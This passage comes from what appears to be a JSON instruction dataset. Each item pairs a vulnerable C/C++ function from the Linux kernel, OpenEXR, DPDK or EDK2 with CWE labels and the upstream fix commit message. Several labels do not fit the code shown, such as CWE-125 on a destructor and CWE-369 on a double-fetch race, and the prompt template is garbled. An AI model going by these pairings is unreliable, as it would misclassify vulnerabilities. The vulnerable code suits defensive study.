(len1) {\n pci_dma_read(&s->dev, desc->buf_addr1,\n s->tx_frame + s->tx_frame_len, len1);\n s->tx_frame_len += len1;\n }\n\n if (len2) {\n pci_dma_read(&s->dev, desc->buf_addr2,\n s->tx_frame + s->tx_frame_len, len2);\n s->tx_frame_len += len2;\n }\n desc->status = (len1 + len2) ? 0 : 0x7fffffff;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'net: tulip: check frame size and r/w data length\n\nTulip network driver while copying tx/rx buffers does not check\nframe size against r/w data length. This may lead to OOB buffer\naccess. Add check to avoid it.\n\nLimit iterations over descriptors to avoid potential infinite\nloop issue in tulip_xmit_list_update.\n\nReported-by: Li Qiang \nReported-by: Ziming Zhang \nReported-by: Jason Wang \nTested-by: Li Qiang \nReviewed-by: Li Qiang \nSigned-off-by: Prasad J Pandit \nSigned-off-by: Jason Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int sd_isoc_init(struct gspca_dev *gspca_dev)\n{\n\tstruct usb_host_interface *alt;\n\tint max_packet_size;\n\n\tswitch (gspca_dev->pixfmt.width) {\n\tcase 160:\n\t\tmax_packet_size = 450;\n\t\tbreak;\n\tcase 176:\n\t\tmax_packet_size = 600;\n\t\tbreak;\n\tdefault:\n\t\tmax_packet_size = 1022;\n\t\tbreak;\n\t}\n\n\t/* Start isoc bandwidth \"negotiation\" at max isoc bandwidth */\n\talt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1];\n\talt->endpoint[0].desc.wMaxPacketSize = cpu_to_le16(max_packet_size);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'media: xirlink_cit: add missing descriptor sanity checks\n\nMake sure to check that we have two alternate settings and at least one\nendpoint before accessing the second altsetting structure and\ndereferencing the endpoint arrays.\n\nThis specifically avoids dereferencing NULL-pointers or corrupting\nmemory when a device does not have the expected descriptors.\n\nNote that the sanity check in cit_get_packet_size() is not redundant as\nthe driver is mixing looking up altsettings by index and by number,\nwhich may not coincide.\n\nFixes: 659fefa0eb17 (\"V4L/DVB: gspca_xirlink_cit: Add support for camera with a bcd version of 0.01\")\nFixes: 59f8b0bf3c12 (\"V4L/DVB: gspca_xirlink_cit: support bandwidth changing for devices with 1 alt setting\")\nCc: stable # 2.6.37\nCc: Hans de Goede \nSigned-off-by: Johan Hovold \nSigned-off-by: Hans Verkuil \nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: transform_cipher_param(struct rte_crypto_sym_xform *xform,\n\t\tVhostUserCryptoSessionParam *param)\n{\n\tint ret;\n\n\tret = cipher_algo_transform(param->cipher_algo, &xform->cipher.algo);\n\tif (unlikely(ret < 0))\n\t\treturn ret;\n\n\txform->type = RTE_CRYPTO_SYM_XFORM_CIPHER;\n\txform->cipher.key.length = param->cipher_key_len;\n\tif (xform->cipher.key.length > 0)\n\t\txform->cipher.key.data = param->cipher_key_buf;\n\tif (param->dir == VIRTIO_CRYPTO_OP_ENCRYPT)\n\t\txform->cipher.op = RTE_CRYPTO_CIPHER_OP_ENCRYPT;\n\telse if (param->dir == VIRTIO_CRYPTO_OP_DECRYPT)\n\t\txform->cipher.op = RTE_CRYPTO_CIPHER_OP_DECRYPT;\n\telse {\n\t\tVC_LOG_DBG(\"Bad operation type\");\n\t\treturn -VIRTIO_CRYPTO_BADMSG;\n\t}\n\n\tret = get_iv_len(xform->cipher.algo);\n\tif (unlikely(ret < 0))\n\t\treturn ret;\n\txform->cipher.iv.length = (uint16_t)ret;\n\txform->cipher.iv.offset = IV_OFFSET;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'vhost/crypto: validate keys lengths\n\ntransform_cipher_param() and transform_chain_param() handle\nthe payload data for the VHOST_USER_CRYPTO_CREATE_SESS\nmessage. These payloads have to be validated, since it\ncould come from untrusted sources.\n\nTwo buffers and their lengths are defined in this payload,\none the the auth key and one for the cipher key. But above\nfunctions do not validate the key length inputs, which could\nlead to read out of bounds, as buffers have static sizes of\n64 bytes for the cipher key and 512 bytes for the auth key.\n\nThis patch adds necessary checks on the key length field\nbefore being used.\n\nCVE-2020-10724\nFixes: e80a98708166 (\"vhost/crypto: add session message handler\")\nCc: stable@dpdk.org\n\nReported-by: Ilja Van Sprundel \nSigned-off-by: Maxime Coquelin \nReviewed-by: Xiaolong Ye \nReviewed-by: Ilja Van Sprundel '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: FastHufDecoder::FastHufDecoder\n (const char *&table,\n int numBytes,\n int minSymbol,\n int maxSymbol,\n int rleSymbol)\n:\n _rleSymbol (rleSymbol),\n _numSymbols (0),\n _minCodeLength (255),\n _maxCodeLength (0),\n _idToSymbol (0)\n{\n //\n // List of symbols that we find with non-zero code lengths\n // (listed in the order we find them). Store these in the\n // same format as the code book stores codes + lengths - \n // low 6 bits are the length, everything above that is\n // the symbol.\n //\n\n std::vector symbols;\n\n //\n // The 'base' table is the minimum code at each code length. base[i]\n // is the smallest code (numerically) of length i.\n //\n\n Int64 base[MAX_CODE_LEN + 1]; \n\n //\n // The 'offset' table is the position (in sorted order) of the first id\n // of a given code lenght. Array is indexed by code length, like base. \n //\n\n Int64 offset[MAX_CODE_LEN + 1]; \n\n //\n // Count of how many codes at each length there are. Array is \n // indexed by code length, like base and offset.\n //\n\n size_t codeCount[MAX_CODE_LEN + 1]; \n\n for (int i = 0; i <= MAX_CODE_LEN; ++i)\n {\n codeCount[i] = 0;\n base[i] = 0xffffffffffffffffULL;\n offset[i] = 0;\n }\n\n //\n // Count the number of codes, the min/max code lengths, the number of\n // codes with each length, and record symbols with non-zero code\n // length as we find them.\n //\n\n const char *currByte = table;\n Int64 currBits = 0;\n int currBitCount = 0;\n\n const int SHORT_ZEROCODE_RUN = 59;\n const int LONG_ZEROCODE_RUN = 63;\n const int SHORTEST_LONG_RUN = 2 + LONG_ZEROCODE_RUN - SHORT_ZEROCODE_RUN;\n\n for (Int64 symbol = static_cast(minSymbol); symbol <= static_cast(maxSymbol); symbol++)\n {\n if (currByte - table > numBytes)\n {\n throw IEX_NAMESPACE::InputExc (\"Error decoding Huffman table \"\n \"(Truncated table data).\");\n }\n\n //\n // Next code length - either:\n // 0-58 (literal code length)\n // 59-62 (various lengths runs of 0)\n // 63 (run of n 0's, with n is the next 8 bits)\n //\n\n Int64 codeLen = readBits (6, currBits, currBitCount, currByte);\n\n if (codeLen == (Int64) LONG_ZEROCODE_RUN)\n {\n if (currByte - table > numBytes)\n {\n throw IEX_NAMESPACE::InputExc (\"Error decoding Huffman table \"\n \"(Truncated table data).\");\n }\n\n int runLen = readBits (8, currBits, currBitCount, currByte) +\n SHORTEST_LONG_RUN;\n\n if (symbol + runLen > static_cast(maxSymbol + 1))\n {\n throw IEX_NAMESPACE::InputExc (\"Error decoding Huffman table \"\n \"(Run beyond end of table).\");\n }\n \n symbol += runLen - 1;\n\n }\n else if (codeLen >= static_cast(SHORT_ZEROCODE_RUN))\n {\n int runLen = codeLen - SHORT_ZEROCODE_RUN + 2;\n\n if (symbol + runLen > static_cast(maxSymbol + 1))\n {\n throw IEX_NAMESPACE::InputExc (\"Error decoding Huffman table \"\n \"(Run beyond end of table).\");\n }\n\n symbol += runLen - 1;\n\n }\n else if (codeLen != 0)\n {\n symbols.push_back ((symbol << 6) | (codeLen & 63));\n\n if (codeLen < _minCodeLength)\n _minCodeLength = codeLen;\n\n if (codeLen > _maxCodeLength)\n _maxCodeLength = codeLen;\n\n codeCount[codeLen]++;\n }\n }\n\n for (int i = 0; i < MAX_CODE_LEN; ++i)\n _numSymbols += codeCount[i];\n\n table = currByte;\n\n //\n // Compute base - once we have the code length counts, there\n // is a closed form solution for this\n //\n\n {\n double* countTmp = new double[_maxCodeLength+1];\n\n for (int l = _minCodeLength; l <= _maxCodeLength; ++l)\n {\n countTmp[l] = (double)codeCount[l] * \n (double)(2 << (_maxCodeLength-l));\n }\n \n for (int l = _minCodeLength; l <= _maxCodeLength; ++l)\n {\n double tmp = 0;\n\n for (int k =l + 1; k <= _maxCodeLength; ++k)\n tmp += countTmp[k];\n \n tmp /= (double)(2 << (_maxCodeLength - l));\n\n base[l] = (Int64)ceil (tmp);\n }\n\n delete [] countTmp;\n }\n \n //\n // Compute offset - these are the positions of the first\n // id (not symbol) that has length [i]\n //\n\n offset[_maxCodeLength] = 0;\n\n for (int i= _maxCodeLength - 1; i >= _minCodeLength; i--)\n offset[i] = offset[i + 1] + codeCount[i + 1];\n\n //\n // Allocate and fill the symbol-to-id mapping. Smaller Ids should be\n // mapped to less-frequent symbols (which have longer codes). Use\n // the offset table to tell us where the id's for a given code \n // length start off.\n //\n\n _idToSymbol = new int[_numSymbols];\n\n Int64 mapping[MAX_CODE_LEN + 1];\n for (int i = 0; i < MAX_CODE_LEN + 1; ++i) \n mapping[i] = -1;\n for (int i = _minCodeLength; i <= _maxCodeLength; ++i)\n mapping[i] = offset[i];\n\n for (std::vector::const_iterator i = symbols.begin(); \n i != symbols.end();\n ++i)\n {\n int codeLen = *i & 63;\n int symbol = *i >> 6;\n\n if (mapping[codeLen] >= static_cast(_numSymbols))\n throw IEX_NAMESPACE::InputExc (\"Huffman decode error \"\n \"(Invalid symbol in header).\");\n \n _idToSymbol[mapping[codeLen]] = symbol;\n mapping[codeLen]++;\n }\n\n buildTables(base, offset);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'fix memory leaks and invalid memory accesses\n\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ScanLineInputFile::ScanLineInputFile\n (const Header &header,\n OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is,\n int numThreads)\n:\n _data (new Data (numThreads)),\n _streamData (new InputStreamMutex())\n{\n _streamData->is = is;\n _data->memoryMapped = is->isMemoryMapped();\n\n initialize(header);\n \n //\n // (TODO) this is nasty - we need a better way of working out what type of file has been used.\n // in any case I believe this constructor only gets used with single part files\n // and 'version' currently only tracks multipart state, so setting to 0 (not multipart) works for us\n //\n \n _data->version=0;\n readLineOffsets (*_streamData->is,\n _data->lineOrder,\n _data->lineOffsets,\n _data->fileIsComplete);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'fix memory leaks and invalid memory accesses\n\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: DeepTiledInputFile::Data::~Data ()\n{\n delete [] numXTiles;\n delete [] numYTiles;\n\n for (size_t i = 0; i < tileBuffers.size(); i++)\n delete tileBuffers[i];\n\n if (multiPartBackwardSupport)\n delete multiPartFile;\n\n for (size_t i = 0; i < slices.size(); i++)\n delete slices[i];\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'fix memory leaks and invalid memory accesses\n\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: hufUncompress (const char compressed[],\n\t int nCompressed,\n\t unsigned short raw[],\n\t int nRaw)\n{\n if (nCompressed == 0)\n {\n\tif (nRaw != 0)\n\t notEnoughData();\n\n\treturn;\n }\n\n int im = readUInt (compressed);\n int iM = readUInt (compressed + 4);\n // int tableLength = readUInt (compressed + 8);\n int nBits = readUInt (compressed + 12);\n\n if (im < 0 || im >= HUF_ENCSIZE || iM < 0 || iM >= HUF_ENCSIZE)\n\tinvalidTableSize();\n\n const char *ptr = compressed + 20;\n\n // \n // Fast decoder needs at least 2x64-bits of compressed data, and\n // needs to be run-able on this platform. Otherwise, fall back\n // to the original decoder\n //\n\n if (FastHufDecoder::enabled() && nBits > 128)\n {\n FastHufDecoder fhd (ptr, nCompressed - (ptr - compressed), im, iM, iM);\n fhd.decode ((unsigned char*)ptr, nBits, raw, nRaw);\n }\n else\n {\n AutoArray freq;\n AutoArray hdec;\n\n hufClearDecTable (hdec);\n\n hufUnpackEncTable (&ptr,\n nCompressed - (ptr - compressed),\n im,\n iM,\n freq);\n\n try\n {\n if (nBits > 8 * (nCompressed - (ptr - compressed)))\n invalidNBits();\n\n hufBuildDecTable (freq, im, iM, hdec);\n hufDecode (freq, hdec, ptr, nBits, iM, nRaw, raw);\n }\n catch (...)\n {\n hufFreeDecTable (hdec);\n throw;\n }\n\n hufFreeDecTable (hdec);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'fix memory leaks and invalid memory accesses\n\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mt76_add_fragment(struct mt76_dev *dev, struct mt76_queue *q, void *data,\n\t\t int len, bool more)\n{\n\tstruct page *page = virt_to_head_page(data);\n\tint offset = data - page_address(page);\n\tstruct sk_buff *skb = q->rx_head;\n\n\toffset += q->buf_offset;\n\tskb_add_rx_frag(skb, skb_shinfo(skb)->nr_frags, page, offset, len,\n\t\t\tq->buf_size);\n\n\tif (more)\n\t\treturn;\n\n\tq->rx_head = NULL;\n\tdev->drv->rx_skb(dev, q - dev->q_rx, skb);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'mt76: fix array overflow on receiving too many fragments for a packet\n\nIf the hardware receives an oversized packet with too many rx fragments,\nskb_shinfo(skb)->frags can overflow and corrupt memory of adjacent pages.\nThis becomes especially visible if it corrupts the freelist pointer of\na slab page.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Felix Fietkau \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mptctl_mpt_command (unsigned long arg)\n{\n\tstruct mpt_ioctl_command __user *uarg = (void __user *) arg;\n\tstruct mpt_ioctl_command karg;\n\tMPT_ADAPTER\t*ioc;\n\tint\t\tiocnum;\n\tint\t\trc;\n\n\n\tif (copy_from_user(&karg, uarg, sizeof(struct mpt_ioctl_command))) {\n\t\tprintk(KERN_ERR MYNAM \"%s@%d::mptctl_mpt_command - \"\n\t\t\t\"Unable to read in mpt_ioctl_command struct @ %p\\n\",\n\t\t\t\t__FILE__, __LINE__, uarg);\n\t\treturn -EFAULT;\n\t}\n\n\tif (((iocnum = mpt_verify_adapter(karg.hdr.iocnum, &ioc)) < 0) ||\n\t (ioc == NULL)) {\n\t\tprintk(KERN_DEBUG MYNAM \"%s::mptctl_mpt_command() @%d - ioc%d not found!\\n\",\n\t\t\t\t__FILE__, __LINE__, iocnum);\n\t\treturn -ENODEV;\n\t}\n\n\trc = mptctl_do_mpt_command (karg, &uarg->MF);\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-369'], 'message': 'scsi: mptfusion: Fix double fetch bug in ioctl\n\nTom Hatskevich reported that we look up \"iocp\" then, in the called\nfunctions we do a second copy_from_user() and look it up again.\nThe problem that could cause is:\n\ndrivers/message/fusion/mptctl.c\n 674 /* All of these commands require an interrupt or\n 675 * are unknown/illegal.\n 676 */\n 677 if ((ret = mptctl_syscall_down(iocp, nonblock)) != 0)\n ^^^^\nWe take this lock.\n\n 678 return ret;\n 679\n 680 if (cmd == MPTFWDOWNLOAD)\n 681 ret = mptctl_fw_download(arg);\n ^^^\nThen the user memory changes and we look up \"iocp\" again but a different\none so now we are holding the incorrect lock and have a race condition.\n\n 682 else if (cmd == MPTCOMMAND)\n 683 ret = mptctl_mpt_command(arg);\n\nThe security impact of this bug is not as bad as it could have been\nbecause these operations are all privileged and root already has\nenormous destructive power. But it's still worth fixing.\n\nThis patch passes the \"iocp\" pointer to the functions to avoid the\nsecond lookup. That deletes 100 lines of code from the driver so\nit's a nice clean up as well.\n\nLink: https://lore.kernel.org/r/20200114123414.GA7957@kadam\nReported-by: Tom Hatskevich \nReviewed-by: Greg Kroah-Hartman \nSigned-off-by: Dan Carpenter \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mptctl_replace_fw (unsigned long arg)\n{\n\tstruct mpt_ioctl_replace_fw __user *uarg = (void __user *) arg;\n\tstruct mpt_ioctl_replace_fw\t karg;\n\tMPT_ADAPTER\t\t *ioc;\n\tint\t\t\t iocnum;\n\tint\t\t\t newFwSize;\n\n\tif (copy_from_user(&karg, uarg, sizeof(struct mpt_ioctl_replace_fw))) {\n\t\tprintk(KERN_ERR MYNAM \"%s@%d::mptctl_replace_fw - \"\n\t\t\t\"Unable to read in mpt_ioctl_replace_fw struct @ %p\\n\",\n\t\t\t\t__FILE__, __LINE__, uarg);\n\t\treturn -EFAULT;\n\t}\n\n\tif (((iocnum = mpt_verify_adapter(karg.hdr.iocnum, &ioc)) < 0) ||\n\t (ioc == NULL)) {\n\t\tprintk(KERN_DEBUG MYNAM \"%s::mptctl_replace_fw() @%d - ioc%d not found!\\n\",\n\t\t\t\t__FILE__, __LINE__, iocnum);\n\t\treturn -ENODEV;\n\t}\n\n\tdctlprintk(ioc, printk(MYIOC_s_DEBUG_FMT \"mptctl_replace_fw called.\\n\",\n\t ioc->name));\n\t/* If caching FW, Free the old FW image\n\t */\n\tif (ioc->cached_fw == NULL)\n\t\treturn 0;\n\n\tmpt_free_fw_memory(ioc);\n\n\t/* Allocate memory for the new FW image\n\t */\n\tnewFwSize = ALIGN(karg.newImageSize, 4);\n\n\tmpt_alloc_fw_memory(ioc, newFwSize);\n\tif (ioc->cached_fw == NULL)\n\t\treturn -ENOMEM;\n\n\t/* Copy the data from user memory to kernel space\n\t */\n\tif (copy_from_user(ioc->cached_fw, uarg->newImage, newFwSize)) {\n\t\tprintk(MYIOC_s_ERR_FMT \"%s@%d::mptctl_replace_fw - \"\n\t\t\t\t\"Unable to read in mpt_ioctl_replace_fw image \"\n\t\t\t\t\"@ %p\\n\", ioc->name, __FILE__, __LINE__, uarg);\n\t\tmpt_free_fw_memory(ioc);\n\t\treturn -EFAULT;\n\t}\n\n\t/* Update IOCFactsReply\n\t */\n\tioc->facts.FWImageSize = newFwSize;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-369'], 'message': 'scsi: mptfusion: Fix double fetch bug in ioctl\n\nTom Hatskevich reported that we look up \"iocp\" then, in the called\nfunctions we do a second copy_from_user() and look it up again.\nThe problem that could cause is:\n\ndrivers/message/fusion/mptctl.c\n 674 /* All of these commands require an interrupt or\n 675 * are unknown/illegal.\n 676 */\n 677 if ((ret = mptctl_syscall_down(iocp, nonblock)) != 0)\n ^^^^\nWe take this lock.\n\n 678 return ret;\n 679\n 680 if (cmd == MPTFWDOWNLOAD)\n 681 ret = mptctl_fw_download(arg);\n ^^^\nThen the user memory changes and we look up \"iocp\" again but a different\none so now we are holding the incorrect lock and have a race condition.\n\n 682 else if (cmd == MPTCOMMAND)\n 683 ret = mptctl_mpt_command(arg);\n\nThe security impact of this bug is not as bad as it could have been\nbecause these operations are all privileged and root already has\nenormous destructive power. But it's still worth fixing.\n\nThis patch passes the \"iocp\" pointer to the functions to avoid the\nsecond lookup. That deletes 100 lines of code from the driver so\nit's a nice clean up as well.\n\nLink: https://lore.kernel.org/r/20200114123414.GA7957@kadam\nReported-by: Tom Hatskevich \nReviewed-by: Greg Kroah-Hartman \nSigned-off-by: Dan Carpenter \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int mwifiex_ret_wmm_get_status(struct mwifiex_private *priv,\n\t\t\t const struct host_cmd_ds_command *resp)\n{\n\tu8 *curr = (u8 *) &resp->params.get_wmm_status;\n\tuint16_t resp_len = le16_to_cpu(resp->size), tlv_len;\n\tint mask = IEEE80211_WMM_IE_AP_QOSINFO_PARAM_SET_CNT_MASK;\n\tbool valid = true;\n\n\tstruct mwifiex_ie_types_data *tlv_hdr;\n\tstruct mwifiex_ie_types_wmm_queue_status *tlv_wmm_qstatus;\n\tstruct ieee_types_wmm_parameter *wmm_param_ie = NULL;\n\tstruct mwifiex_wmm_ac_status *ac_status;\n\n\tmwifiex_dbg(priv->adapter, INFO,\n\t\t \"info: WMM: WMM_GET_STATUS cmdresp received: %d\\n\",\n\t\t resp_len);\n\n\twhile ((resp_len >= sizeof(tlv_hdr->header)) && valid) {\n\t\ttlv_hdr = (struct mwifiex_ie_types_data *) curr;\n\t\ttlv_len = le16_to_cpu(tlv_hdr->header.len);\n\n\t\tif (resp_len < tlv_len + sizeof(tlv_hdr->header))\n\t\t\tbreak;\n\n\t\tswitch (le16_to_cpu(tlv_hdr->header.type)) {\n\t\tcase TLV_TYPE_WMMQSTATUS:\n\t\t\ttlv_wmm_qstatus =\n\t\t\t\t(struct mwifiex_ie_types_wmm_queue_status *)\n\t\t\t\ttlv_hdr;\n\t\t\tmwifiex_dbg(priv->adapter, CMD,\n\t\t\t\t \"info: CMD_RESP: WMM_GET_STATUS:\\t\"\n\t\t\t\t \"QSTATUS TLV: %d, %d, %d\\n\",\n\t\t\t\t tlv_wmm_qstatus->queue_index,\n\t\t\t\t tlv_wmm_qstatus->flow_required,\n\t\t\t\t tlv_wmm_qstatus->disabled);\n\n\t\t\tac_status = &priv->wmm.ac_status[tlv_wmm_qstatus->\n\t\t\t\t\t\t\t queue_index];\n\t\t\tac_status->disabled = tlv_wmm_qstatus->disabled;\n\t\t\tac_status->flow_required =\n\t\t\t\t\t\ttlv_wmm_qstatus->flow_required;\n\t\t\tac_status->flow_created = tlv_wmm_qstatus->flow_created;\n\t\t\tbreak;\n\n\t\tcase WLAN_EID_VENDOR_SPECIFIC:\n\t\t\t/*\n\t\t\t * Point the regular IEEE IE 2 bytes into the Marvell IE\n\t\t\t * and setup the IEEE IE type and length byte fields\n\t\t\t */\n\n\t\t\twmm_param_ie =\n\t\t\t\t(struct ieee_types_wmm_parameter *) (curr +\n\t\t\t\t\t\t\t\t 2);\n\t\t\twmm_param_ie->vend_hdr.len = (u8) tlv_len;\n\t\t\twmm_param_ie->vend_hdr.element_id =\n\t\t\t\t\t\tWLAN_EID_VENDOR_SPECIFIC;\n\n\t\t\tmwifiex_dbg(priv->adapter, CMD,\n\t\t\t\t \"info: CMD_RESP: WMM_GET_STATUS:\\t\"\n\t\t\t\t \"WMM Parameter Set Count: %d\\n\",\n\t\t\t\t wmm_param_ie->qos_info_bitmap & mask);\n\n\t\t\tmemcpy((u8 *) &priv->curr_bss_params.bss_descriptor.\n\t\t\t wmm_ie, wmm_param_ie,\n\t\t\t wmm_param_ie->vend_hdr.len + 2);\n\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tvalid = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tcurr += (tlv_len + sizeof(tlv_hdr->header));\n\t\tresp_len -= (tlv_len + sizeof(tlv_hdr->header));\n\t}\n\n\tmwifiex_wmm_setup_queue_priorities(priv, wmm_param_ie);\n\tmwifiex_wmm_setup_ac_downgrade(priv);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'mwifiex: Fix possible buffer overflows in mwifiex_ret_wmm_get_status()\n\nmwifiex_ret_wmm_get_status() calls memcpy() without checking the\ndestination size.Since the source is given from remote AP which\ncontains illegal wmm elements , this may trigger a heap buffer\noverflow.\nFix it by putting the length check before calling memcpy().\n\nSigned-off-by: Qing Xu \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: HiiGetDatabaseInfo(\r\n IN CONST EFI_HII_DATABASE_PROTOCOL *This\r\n )\r\n{\r\n EFI_STATUS Status;\r\n EFI_HII_PACKAGE_LIST_HEADER *DatabaseInfo;\r\n UINTN DatabaseInfoSize;\r\n\r\n DatabaseInfo = NULL;\r\n DatabaseInfoSize = 0;\r\n\r\n //\r\n // Get HiiDatabase information.\r\n //\r\n Status = HiiExportPackageLists(This, NULL, &DatabaseInfoSize, DatabaseInfo);\r\n\r\n ASSERT(Status == EFI_BUFFER_TOO_SMALL);\r\n\r\n if(DatabaseInfoSize > gDatabaseInfoSize ) {\r\n //\r\n // Do 25% overallocation to minimize the number of memory allocations after ReadyToBoot.\r\n // Since lots of allocation after ReadyToBoot may change memory map and cause S4 resume issue.\r\n //\r\n gDatabaseInfoSize = DatabaseInfoSize + (DatabaseInfoSize >> 2);\r\n if (gRTDatabaseInfoBuffer != NULL){\r\n FreePool(gRTDatabaseInfoBuffer);\r\n DEBUG ((DEBUG_WARN, \"[HiiDatabase]: Memory allocation is required after ReadyToBoot, which may change memory map and cause S4 resume issue.\\n\"));\r\n }\r\n gRTDatabaseInfoBuffer = AllocateRuntimeZeroPool (gDatabaseInfoSize);\r\n if (gRTDatabaseInfoBuffer == NULL){\r\n DEBUG ((DEBUG_ERROR, \"[HiiDatabase]: No enough memory resource to store the HiiDatabase info.\\n\"));\r\n return EFI_OUT_OF_RESOURCES;\r\n }\r\n } else {\r\n ZeroMem(gRTDatabaseInfoBuffer,gDatabaseInfoSize);\r\n }\r\n Status = HiiExportPackageLists(This, NULL, &DatabaseInfoSize, gRTDatabaseInfoBuffer);\r\n ASSERT_EFI_ERROR (Status);\r\n gBS->InstallConfigurationTable (&gEfiHiiDatabaseProtocolGuid, gRTDatabaseInfoBuffer);\r\n\r\n return EFI_SUCCESS;\r\n\r\n}\r ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'MdeModulePkg/HiiDB: Remove configuration table when it's freed (CVE-2019-14586)\n\nREF: https://bugzilla.tianocore.org/show_bug.cgi?id=1995\n\nFix the corner case issue that the original configuration runtime\nmemory is freed, but it is still exposed to the OS runtime.\nSo this patch is to remove the configuration table to avoid being\nused in OS runtime when the configuration runtime memory is freed.\n\nCc: Liming Gao \nCc: Eric Dong \nCc: Jian J Wang \nSigned-off-by: Dandan Bi \nReviewed-by: Eric Dong \nReviewed-by: Jian J Wang '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int stv06xx_isoc_nego(struct gspca_dev *gspca_dev)\n{\n\tint ret, packet_size, min_packet_size;\n\tstruct usb_host_interface *alt;\n\tstruct sd *sd = (struct sd *) gspca_dev;\n\n\talt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1];\n\tpacket_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize);\n\tmin_packet_size = sd->sensor->min_packet_size[gspca_dev->curr_mode];\n\tif (packet_size <= min_packet_size)\n\t\treturn -EIO;\n\n\tpacket_size -= 100;\n\tif (packet_size < min_packet_size)\n\t\tpacket_size = min_packet_size;\n\talt->endpoint[0].desc.wMaxPacketSize = cpu_to_le16(packet_size);\n\n\tret = usb_set_interface(gspca_dev->dev, gspca_dev->iface, 1);\n\tif (ret < 0)\n\t\tgspca_err(gspca_dev, \"set alt 1 err %d\\n\", ret);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'media: stv06xx: add missing descriptor sanity checks\n\nMake sure to check that we have two alternate settings and at least one\nendpoint before accessing the second altsetting structure and\ndereferencing the endpoint arrays.\n\nThis specifically avoids dereferencing NULL-pointers or corrupting\nmemory when a device does not have the expected descriptors.\n\nNote that the sanity checks in stv06xx_start() and pb0100_start() are\nnot redundant as the driver is mixing looking up altsettings by index\nand by number, which may not coincide.\n\nFixes: 8668d504d72c (\"V4L/DVB (12082): gspca_stv06xx: Add support for st6422 bridge and sensor\")\nFixes: c0b33bdc5b8d (\"[media] 